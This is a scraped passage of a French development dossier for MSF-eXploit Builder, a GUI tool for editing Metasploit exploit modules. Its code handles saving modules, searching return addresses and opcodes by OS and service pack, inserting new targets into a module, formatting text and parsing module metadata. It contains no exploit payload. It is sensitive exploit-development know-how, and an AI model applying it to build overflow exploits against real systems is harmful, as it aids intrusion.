Page 840: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 846

iAperçu(iPage)iImprimeEtat(ETAT_EXPLOIT_CODE)

Clic sur BTN_Button1// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur BTN_Documentation//si gauche(COMBO_Documentation..ValeurAffichée,7)="http://" alors

LanceAppliAssociée(COMBO_Documentation..ValeurAffichée)//FIN

Clic sur BTN_LISTE_OPCODESLanceAppliAssociée("OPCODES_ASM.txt")

Clic sur BTN_OUVRE//ExécuteTraitement(SCSelecteurFichier.BTN_SEL,trtClic)

EDITER_MODULE()

Clic sur BTN_OUVRE_URL//Ouvre l'URL sélectionnée (double-clic) dans la TableSI URL<>"" ALORS

LanceAppliAssociée(URL)FIN

Clic sur BTN_RECHERCHE_ADRESSESablier(Vrai)Cherche_Adresse_Retour()Sablier(Faux)

Clic sur BTN_RECHERCHE_OPCODE

Page 841: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 847

SI ADRESSE_RETOUR="" ALORSIF Nation()=3 THEN

Erreur("I can't search the opcode if the return address is not defined. Sorry")RETOUR

SINONErreur("Je ne peux pas chercher l'opcode si l'adresse de retour n'est pas définie. Désolé")RETOUR

FINFIN

Sablier(Vrai)

//On cherche dans la base d'opcode celui qui correspond à l'adresse de retourMonFiltre is string

//MonFiltre="DLLnom='"+upper(DLL)+"' ET OSnom='"+COMBO_OSnom..ValeurAffichée+"' ET OSversion='"+COMBO_OSversion..ValeurAffichée+"' ET OSSP='"+COMBO_OSSP..ValeurAffichée+"'"

MonFiltre="ADRESSE='0x"+Upper(Milieu(ADRESSE_RETOUR,3))+"'"

CléParcours is string=HFiltre(OPcode, MonFiltre)

// HStatCalcule(OPcode,CléParcours)

iTrouve is int=0HLitPremier(OPcode,CléParcours)TANTQUE PAS HEnDehors(OPcode) ET iTrouve=0

MON_OPCODE=OPcode.OPcode

iTrouve=1FIN

SI PAS iTrouve ALORSMON_OPCODE=""SI Nation()=3 THEN

Erreur("I don't know what the opcode is... :-(")SINON

Erreur("Je ne sais pas quel est l'opcode... :-(")FIN

FIN

Sablier(Faux)

Clic sur BTN_SAVE

Page 842: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 848

SI ChaîneOccurrence(EXPLOIT_CODE, "#Edited with MSF-eXploit Builder by Jerome Athias - https://www.securinfos.info")=0 ALORSEXPLOIT_CODE+=RC+"#Edited with MSF-eXploit Builder by Jerome Athias - https://www.securinfos.info"

FIN

NomCheminFichier est une chaîneNomFichier is string=ExtraitChaîne(SCSelecteurFichier.SAIS_FIC,1,"\",DepuisFin)SI NomFichier="" ALORS //Nouvel exploit?

NomFichier=NOM+".rb"SCSelecteurFichier.SAIS_FIC+=NomFichier

FINNomRepertoire is string=ExtraitChaîne(SCSelecteurFichier.SAIS_FIC,1,NomFichier)

//NomCheminFichier=fSélecteur(NomRepertoire, NomFichier, "", "*", ".pm", fselCrée+fselExiste)NomCheminFichier=fSélecteur(NomRepertoire, NomFichier, "Enregistrer sous...", "*.rb", ".rb", fselCrée+fselExiste)

SI NomCheminFichier<>"" ALORSfSupprime(NomCheminFichier,frLectureSeule)//On sauvegarde le code de l'exploit contenu dans le champ EXPLOIT_CODE//On copie la valeur du champ RTF dans le champ texteMSFXB_Editor.EXPLOIT_CODE = RTFToText(MSFXB_Editor.SCRTF.SaisieTexte)SI PAS fSauveTexte(NomCheminFichier, EXPLOIT_CODE) ALORS Erreur(ErreurInfo())

// SI SCSelecteurFichier.SAIS_FIC="" ALORSSCSelecteurFichier.SAIS_FIC=NomCheminFichier

// FINFIN

Clic sur BTN_SEARCH_RETURN_ADDRESSCherche_Adresse_Retour()

Clic sur BTN_TEST

//si SCSelecteurFichier.SAIS_FIC="" alors//Enregistrement assisté://Exécute("BTN_SAVE..cli")//Enregistrement automatique:SI PAS fSauveTexte(SCSelecteurFichier.SAIS_FIC, EXPLOIT_CODE) ALORS Erreur(ErreurInfo())

//FIN

Page 843: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 849

iTrouve is int=0//EXPLOIT_PARAMETERS(iIDEXPLOIT=2, gNomExploit="3com_3cdaemon_ftp_overflow.pm", sRHOST="192.168.0.201", sRPORT=21, AUTOHACK=0)SI Droite(Upper(SCSelecteurFichier.SAIS_FIC),3)=".PM" ALORS

HLitRecherche(EXPLOIT,NOM_FICHIER,fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension))SI HTrouve ALORS

iTrouve=1OuvreFille(EXPLOIT_PARAMETERS, EXPLOIT.IDEXPLOIT, fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension), "127.0.0.1", 21, 0, DLL, MON_OPCODE, PAYLOAD_BADCHARS)

FINFINSI Droite(Upper(SCSelecteurFichier.SAIS_FIC),3)=".RB" ALORS

//Recherche avec le nom exactHLitRechercheDernier(EXPLOIT,NOM_FICHIER_MSF3,fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier))SI HTrouve ALORS

OuvreFille(EXPLOIT_PARAMETERS, EXPLOIT.IDEXPLOIT, fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension), "127.0.0.1", 21, 0, DLL, MON_OPCODE, PAYLOAD_BADCHARS)iTrouve=1

SINON //Recherche avec un nom procheHLitPremier(EXPLOIT,NOM_FICHIER_MSF3)TANTQUE PAS H.EnDehors ET iTrouve=0

SI ChaîneOccurrence(EXPLOIT.NOM_FICHIER_MSF3, fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier)) >0 ALORSOuvreFille(EXPLOIT_PARAMETERS, EXPLOIT.IDEXPLOIT, fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension), "127.0.0.1", 21, 0, DLL, MON_OPCODE, PAYLOAD_BADCHARS)iTrouve=1

FINHLitSuivant(EXPLOIT)

FINFIN

FIN

SI PAS iTrouve ALORS// si enmodetest() alors info("Exploit non trouvé")

//L'exploit n'existe pas dans la BDD (nouvel exploit?) : on l'ajoutesNOM_FICHIER_MSF3 is string=ExtraitChaîne(SCSelecteurFichier.SAIS_FIC, 1, "\exploits\", DepuisFin)sNOM_FICHIER_MSF3=Remplace(sNOM_FICHIER_MSF3, "\", "/")SI sNOM_FICHIER_MSF3<>"" ALORS

EXPLOIT.NOM_FICHIER_MSF3=sNOM_FICHIER_MSF3EXPLOIT.NOM_FICHIER=ExtraitChaîne(SCSelecteurFichier.SAIS_FIC, 1, "\", DepuisFin)EXPLOIT.OPCODE=MON_OPCODEEXPLOIT.DLL=dllHAjoute(EXPLOIT)HLitDernier(EXPLOIT,IDEXPLOIT)OuvreFille(EXPLOIT_PARAMETERS, EXPLOIT.IDEXPLOIT, fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension), "127.0.0.1", 21, 0, DLL, MON_OPCODE, PAYLOAD_BADCHARS)

FIN

Page 844: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 850

FIN

Clic sur BTN_UPDATE_EXPLOIT

I is int=RTFRecherche(SCRTF.SaisieTexte, "'Targets'")SI I>0 ALORS

I=RTFRecherche(SCRTF.SaisieTexte,"[",rtfMotComplet,I)SI I>0 ALORS// info(i)

sNomTarget is stringSI COMBO_OSnom..ValeurAffichée<>"" ALORS

sNomTarget=COMBO_OSnom..ValeurAffichéeSINON

sNomTarget=ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,4)FINSI COMBO_OSversion..ValeurAffichée<>"" ALORS

sNomTarget+=" "+COMBO_OSversion..ValeurAffichéeFINSI COMBO_OSSP..ValeurAffichée<>"" ALORS

sNomTarget+=" SP"+COMBO_OSSP..ValeurAffichéeSINON

FINsNomTarget+=" "+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,5)

sAdresseRetour is string=""// si ADRESSE_RETOUR<>"" alors// sAdresseRetour=ADRESSE_RETOUR// sinon// si COMBO_TARGET..ValeurAffichée<>"" alors

sAdresseRetour="0x"+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,1)// FIN// FIN

sNomOpcode is string=""SI dll<>"" ALORS

sNomOpcode=dllSINON

sNomOpcode=ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,3)FIN

// si MON_OPCODE<>"" alors// sNomOpcode+=" "+MON_OPCODE

Page 845: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 851

// sinonsNomOpcode+=" "+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,2)

// FINSI sNomOpcode<>"" ALORS

sNomOpcode=" #"+Remplace(sNomOpcode, "#", "")FINRTFInsère(SCRTF.SaisieTexte,RC+TAB+TAB+TAB+TAB+TAB+"[ 'Windows "+ sNomTarget +"'"+ ", { 'Ret' => " + sAdresseRetour +" } ],"+ sNomOpcode,I+1)

//On ajoute la nouvelle cible fraichement ajoutée dans la combosVal is string=COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichéeListeAjoute(COMBO_TARGET, ExtraitChaîne(sVal,4) +" "+ ExtraitChaîne(sVal,5)+TAB+ "0x"+ExtraitChaîne(sVal,1)+TAB+ ExtraitChaîne(sVal,2)+TAB+ ExtraitChaîne(sVal,3))

//On affiche le champ RTF//EXPLOIT_CODE=SCRTF.SaisieTexte

SINONSI EnModeTest() ALORS Erreur("RTFRecherche")

FINFIN

Sélection d'une ligne de COMBO_OSnomListeSupprimeTout(COMBO_OSSP)ListeAjoute(COMBO_OSSP,"")ListeAjoute(COMBO_OSSP,"0")ListeAjoute(COMBO_OSSP,"1")ListeAjoute(COMBO_OSSP,"2")

SELON MoiMême..ValeurAffichéeCAS "", "NT"

ListeAjoute(COMBO_OSSP,"3")ListeAjoute(COMBO_OSSP,"4")ListeAjoute(COMBO_OSSP,"5")ListeAjoute(COMBO_OSSP,"6")

CAS "2000"ListeAjoute(COMBO_OSSP,"3")ListeAjoute(COMBO_OSSP,"4")

CAS "Vista"ListeSupprimeTout(COMBO_OSSP)ListeAjoute(COMBO_OSSP,"")ListeAjoute(COMBO_OSSP,"0")

FIN

Sélection d'une ligne de COMBO_TARGET

Page 846: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 852

MON_OPCODE=""SI MoiMême..ValeurAffichée<>"" ALORS// ADRESSE_RETOUR=extraitchaine(MoiMême..ValeurAffichée, 2)

ADRESSE_RETOUR=COL_Colonne2// si taille(ExtraitChaîne(MoiMême..ValeurAffichée, 3))>1 alors// dll=ExtraitChaîne(MoiMême..ValeurAffichée, 3)// sinon// dll=""// fin

dll=COL_Colonne3// SI Taille(ExtraitChaîne(MoiMême..ValeurAffichée, 4))>1 ALORS// MON_OPCODE=ExtraitChaîne(MoiMême..ValeurAffichée, 4)// SINON// MON_OPCODE=""// FIN

MON_OPCODE=COL_Colonne4FIN

Déclarations globales de SCRTF// Ce super champ représente une barre d'outils. Il propose :// -> d'aligner le texte (centrer, justifier,...) contenu dans le champ de saisie// -> de modifier la police, la couleur et la taille de la police// -> de faire un couper/copier/coller// -> de modifier la casse (gras, italique, souligné)// -> de lancer le correcteur orthographique de Word//// Un timer est appelé régulièrement afin de lister les attributs du texte sur lequel est positionné le curseur : les différents // champs sont ainsi mis-à-jour avec ces attributs. // Ce timer est appelé lors du déplacement du curseur.//// La fonction utilisée pour appliquer la mise en forme est la fonction RTFSélection().// Le correcteur orthographique est appelé à l'aide d'un objet OLE.//// Le super champ se décompose en deux parties :// -> une partie avec un champ de saisie qui est multilignes et au format RTF// -> une partie "barre d'outils" qui présente les différentes opérations applicables au texte de ce champ de saisie.

GLOBALgnCurseurPrécédent est un entier

LOCAL

// Mémoriser la position précédente du curseurgnCurseurPrécédent = saisietexte..Curseur

Page 847: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 853

// Récupérer le contenu de gLiengLienActive(Couleur)

// Appeler par timer la procédure de mise en forme du texteTimer("modifierMiseEnForme", 10)

Clic sur BTN_COLORATION ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

SI nCOLORATION_SYNTAXIQUE_ACTIVE=1 ALORSnCOLORATION_SYNTAXIQUE_ACTIVE=0

SINONnCOLORATION_SYNTAXIQUE_ACTIVE=1COLORATION_SYNTAXIQUE()

FIN

Clic sur BtnCentrer ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Aligner le texte au centreRTFSélection(saisietexte, rtfAlignement, chCentre)

BtnGauche..Enfoncé=Faux;Btndroite..Enfoncé=Faux;BtnJustifier..Enfoncé=Faux

Clic sur BtnColler ( SCRTF )WM_PASTE est un entier = 0x0302

// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Coller le texte en mémoireSendMessage(Handle(saisietexte), WM_PASTE, 0, 0)

Clic sur BtnCopier ( SCRTF )WM_COPY est un entier = 0x0301

// Coller le texte sélectionnéSendMessage(Handle(saisietexte), WM_COPY, 0, 0)

Clic sur BtnCorriger ( SCRTF )

Page 848: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 854

// Appel du correcteur orthographiqueExécuteFAA(SaisieTexte,faaCorrectionOrthographique)

Clic sur BtnCouper ( SCRTF )WM_CUT est un entier = 0x0300

// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Copier la sélection en mémoire et la supprimerSendMessage(Handle(saisietexte), WM_CUT, 0, 0)

Clic sur BtnDroite ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Aligner le texte à droiteRTFSélection(saisietexte, rtfAlignement, chDroite)

BtnGauche..Enfoncé=Faux;BtnCentrer..Enfoncé=Faux;BtnJustifier..Enfoncé=Faux

Initialisation de BtnGauche ( SCRTF )BtnGauche..Enfoncé=Vrai

Clic sur BtnGauche ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Aligner le texte à gaucheRTFSélection(saisietexte, rtfAlignement, chGauche)

Btndroite..Enfoncé=Faux;BtnCentrer..Enfoncé=Faux;BtnJustifier..Enfoncé=Faux

Clic sur BtnJustifier ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Aligner le texte à droite

Page 849: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 855

RTFSélection(saisietexte, rtfAlignement, chJustifié)

BtnGauche..Enfoncé=Faux;Btndroite..Enfoncé=Faux;BtnCentrer..Enfoncé=Faux

Initialisation de Couleur ( SCRTF )// Initialiser la combo avec les couleurs principalesListeAjoute(couleur, gRectangle(2, 2, 12, 12, iNoir, iNoir) + " "+"Noir" + gLien("1"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iBlanc, iNoir) + " "+"Blanc" + gLien("2"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iCyanClair, iNoir) + " "+"Cyan" + gLien("3"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iMagentaClair, iNoir) + " "+"Magenta" + gLien("4"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iRougeFoncé, iNoir) + " "+"Rouge foncé" + gLien("5"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iRougeClair, iNoir) + " "+"Rouge" + gLien("6"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iBleuFoncé, iNoir) + " "+"Bleu foncé" + gLien("7"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iBleuClair, iNoir) + " "+"Bleu" + gLien("8"))ListeAjoute(Couleur, gRectangle(2, 2, 12, 12, iVertFoncé, iNoir) + " "+"Vert foncé" + gLien("9"))ListeAjoute(couleur, gRectangle(2, 2, 12, 12, iVertClair, iNoir) + " "+"Vert" + gLien("10"))

// Se positionner sur la première ligneListeSelectPlus(Couleur, 1)

Sélection d'une ligne de Couleur ( SCRTF )nCouleur est un entier

// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

SELON couleur[couleur]CAS 1 : nCouleur = iNoirCAS 2 : nCouleur = iBlancCAS 3 : nCouleur = iCyanClairCAS 4 : nCouleur = iMagentaClairCAS 5 : nCouleur = iRougeFoncéCAS 6 : nCouleur = iRougeClairCAS 7 : nCouleur = iBleuFoncéCAS 8 : nCouleur = iBleuClairCAS 9 : nCouleur = iVertFoncéCAS 10 : nCouleur = iVertClair

FIN

// Modifier la couleur de la sélectionRTFSélection(saisietexte, rtfCouleur, nCouleur)

// Redonner le focus au champ de saisie

Page 850: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 856

RepriseSaisie(saisietexte)

Initialisation de Police ( SCRTF )sListePolice est une chaînesPolice est une chaîne

// Liste des polices du systèmesListePolice = PoliceListe()

spolice = ExtraitChaîne(sListePolice,rangPremier,RC)TANTQUE spolice<>EOT

SI spolice<>"" ALORS// Ajout du nom de la police dans le style de la policeListeAjoute(MoiMême,gPolice(spolice)+spolice)

FINspolice = ExtraitChaîne(sListePolice,rangSuivant,RC)

FIN

// Se positionner sur la police de type "Arial"ListeSelectPlus(MoiMême,Max(ListeCherche(MoiMême,"Arial"),1))

Sélection d'une ligne de Police ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

SI saisietexte..Curseur = saisietexte..FinCurseur ALORSsaisietexte..FinCurseur = saisietexte..Curseur + 1

FIN

// Modifie la police du texte sélectionnéRTFSélection(saisietexte, rtfNomPolice, POLICE[police])

// Redonner le focus au champ de saisieRepriseSaisie(saisietexte)

Clic sur StyleBarré ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Vérifier si le texte est déjà en barréSI RTFSélection(saisietexte, rtfBarré) = Faux ALORS

Page 851: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 857

// NON => Mettre le texte en barréRTFSélection(saisietexte, rtfBarré , Vrai)

SINON// OUI => Mettre le texte en normalRTFSélection(saisietexte, rtfBarré , Faux)

FIN

Clic sur StyleGras ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Vérifier si le texte est déjà en grasSI RTFSélection(saisietexte, rtfGras) = Faux ALORS

// NON => Mettre le texte en grasRTFSélection(saisietexte, rtfGras, Vrai)

SINON// OUI => Mettre le texte en normalRTFSélection(saisietexte, rtfGras, Faux)

FIN

Clic sur StyleItalique ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Vérifier si le texte est déjà en italiqueSI RTFSélection(saisietexte, rtfItalique ) = Faux ALORS

// NON => Mettre le texte en italiqueRTFSélection(saisietexte, rtfItalique , Vrai)

SINON// OUI => Mettre le texte en normalRTFSélection(saisietexte, rtfItalique , Faux)

FIN

Clic sur StyleSouligné ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Vérifier si le texte est déjà en soulignéSI RTFSélection(saisietexte, rtfSouligné) = Faux ALORS

// NON => Mettre le texte en soulignéRTFSélection(saisietexte, rtfSouligné , Vrai)

SINON

Page 852: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 858

// OUI => Mettre le texte en normalRTFSélection(saisietexte, rtfSouligné , Faux)

FIN

Initialisation de TaillePolice ( SCRTF )// Se positionner sur la taille = 10TaillePolice = 10

Sortie de TaillePolice ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Modifier la taille du texteRTFSélection(saisietexte, rtfTaillePolice, TaillePolice)

// Redonner le focus au champ de saisieRepriseSaisie(saisietexte)

Sélection d'une ligne de TaillePolice ( SCRTF )// Indiquer que le texte est modifiésaisietexte..Modifié = Vrai

// Modifier la taille du texteRTFSélection(saisietexte, rtfTaillePolice, TaillePolice)

// Redonner le focus au champ de saisieRepriseSaisie(saisietexte)

Clic sur BTN_SEL ( SCSelecteurFichier )SI MSFXB_Editor.EXPLOIT_CODE <> RTFToText(MSFXB_Editor.SCRTF.SaisieTexte) ALORS

//Le code de l'exploit a été modifiéExécute("BTN_SAVE..click")

FINMessage("")

IF SCSelecteurFichier.SAIS_FIC="" THEN// SCSelecteurFichier.SAIS_FIC="C:\Program Files\Metasploit Framework\home\framework\exploits\"SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

SCSelecteurFichier.SAIS_FIC=gsCheminMSF3 + "home\framework\modules\exploits\"//Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

Page 853: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 859

SINONSCSelecteurFichier.SAIS_FIC=gsCheminMSF3 + "framework\modules\exploits\"//Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

FINEND

sSel est une chaîne = fSélecteur(SAIS_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)

SI ssel<>"" ALORSSAIS_FIC = ssel

// monparent = SAIS_FICFIN

EDITER_MODULE()RETOUR

//********************************************************************************************* OLD ****************************//CODE AVANT UTILISATION DE LA PROCEDURE OUVRE_MODULE() :

//if SCSelecteurFichier..Valeur<>"" thenIF SAIS_FIC..Valeur<>"" AND Droite(SAIS_FIC..Valeur,1)<>"\" THEN

VIDER_CHAMPS()

SI OuiNon("Voulez-vous sauvegarder le fichier "+SAIS_FIC+" ?") ALORS// Déclaration et initialisation des variables// NomArchive est une chaîne = extraitchaine(SAIS_FIC,1, "\", depuisfin) +".zip"CheminArchive est une chaîne = Remplace(SAIS_FIC,".pm","_"+DateSys()+"_"+HeureSys()+".zip")CheminArchive=Remplace(CheminArchive,".rb","_"+DateSys()+"_"+HeureSys()+".zip")ResCréationArchive est un entier

// Sélection du nom de l'archive. LibelléNomArchive est un champ de saisie.// NomArchive = LibelléNomArchive

// Sélection du chemin de l'archive// CheminArchive = fRepSélecteur("", "", "Sélection du répertoire")

// Création de l'archive "MonArchive"ResCréationArchive = zipCrée("MonArchive", CheminArchive)iERROR is int=0

// Affichage du message d'erreur si la création n'a pas été effectuéeSI ResCréationArchive <> 0 ALORS

Erreur(zipMsgErreur(ResCréationArchive))iERROR=1

SINON

Page 854: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 860

// Ajout du fichier dans l'archiveResCréationArchive=zipAjouteFichier("MonArchive",SAIS_FIC,zipAucun)

SI ResCréationArchive <> 0 ALORSErreur(zipMsgErreur(ResCréationArchive))iERROR=2

FINFIN

// Fermeture de l'archivezipFerme("MonArchive")

SI iERROR=0 ALORSSI Nation()=3 THEN

Message("File saved in: "+CheminArchive)SINON

Message("File sauvegardé dans: "+CheminArchive)FIN

FINFIN

FichierDeTravail is string=fRepEnCours()+"\MSF-XB.TXT"

fSupprime(FichierDeTravail,frLectureSeule)

//COPIE DE L'EXPLOIT DANS LE FICHIER DE TRAVAIL//fCopieFichier(SCSelecteurFichier..Valeur,FichierDeTravail)

//TRAITEMENT DU FICHIER DE TRAVAIL POUR LECTURE CORRECTENumFic = fOuvre(SAIS_FIC,foLecture)

IF COMPIL_JAVA=0 THENLigneLue=fLitLigne(NumFic)//Si c'est un fichier au format LinuxSI Upper(Droite(sais_fic,3))=".PM" AND Taille(LigneLue)>4 ALORS

LigneLue=Remplace(LigneLue,Caract(10),RC) //Remplace les LF (format Linux) par des CRLF (= RC) (Format Windows)EXPLOIT_CODE=LigneLue

SINON //Fichier au format WindowsEXPLOIT_CODE=fChargeTexte(SAIS_FIC)

FIN

ELSE //IN JAVA

Page 855: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 861

LigneLue=fLitLigne(numfic)TANTQUE LigneLue<>EOT

EXPLOIT_CODE+=LigneLue+RCLigneLue=fLitLigne(numfic)

FINEND

fFerme(numfic)

NumFic = fOuvre(FichierDeTravail,foCréation)

fEcrit(numfic,EXPLOIT_CODE)fFerme(numfic)

NumFic = fOuvre(FichierDeTravail,foLecture)

lignelue = fLitLigne(NumFic)TANTQUE lignelue<>EOT

//NOM DE L'EXPLOIT//si extraitchaine(LigneLue,2,"'")="Name" thenIF ChaîneOccurrence(LigneLue,"Name")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

nom = ExtraitChaîne(LigneLue,4,"'")SI Taille(nom)<2 ALORS nom=""

FIN

//VERSION DE L'EXPLOIT//si extraitchaine(LigneLue,2,"'")="Version" thenIF ChaîneOccurrence(LigneLue,"Version")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

VERSION = ExtraitChaîne(LigneLue,4,"'")SI Taille(VERSION)<2 ALORS VERSION=""

FIN

//AUTEURSSI ExtraitChaîne(LigneLue,2,"'")="Authors" OU ExtraitChaîne(LigneLue,2,"'")="Author" THEN

AUTEURS = ExtraitChaîne(LigneLue,4,"'")SI Taille(AUTEURS)<2 ALORS

AUTEURS=""

//TEST SUR LA LIGNE SUIVANTELigneLue=NoSpace( Remplace(fLitLigne(numfic),TAB,"") )

// AUTEURS=extraitchaine(lignelue,2,"'")// SI taille(AUTEURS)<2 alors LigneLue=nospace( remplace(flitligne(numfic),tab,"") )

SI lignelue<>"]," AND Taille(ExtraitChaîne(lignelue,2,"'"))>4 AND ChaîneOccurrence(lignelue, "License")<1 ALORSAUTEURS+= ExtraitChaîne(lignelue,2,"'")

Page 856: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 862

FIN

//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(numfic),TAB,""))SI lignelue<>"]," AND Taille(ExtraitChaîne(lignelue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(lignelue,2,"'")//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(numfic),TAB,""))SI lignelue<>"]," AND Taille(ExtraitChaîne(lignelue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(lignelue,2,"'")

FINFIN

SINON//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(numfic),TAB,""))SI lignelue<>"]," AND Taille(ExtraitChaîne(lignelue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(lignelue,2,"'")

//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(numfic),TAB,""))SI lignelue<>"]," AND Taille(ExtraitChaîne(lignelue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(lignelue,2,"'")

FINFIN

FINFIN

SI Taille(AUTEURS)<2 ALORSAUTEURS=""

FIN

//ARCHITECTURE//si extraitchaine(LigneLue,2,"'")="Arch" thenIF ChaîneOccurrence(LigneLue,"Arch")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

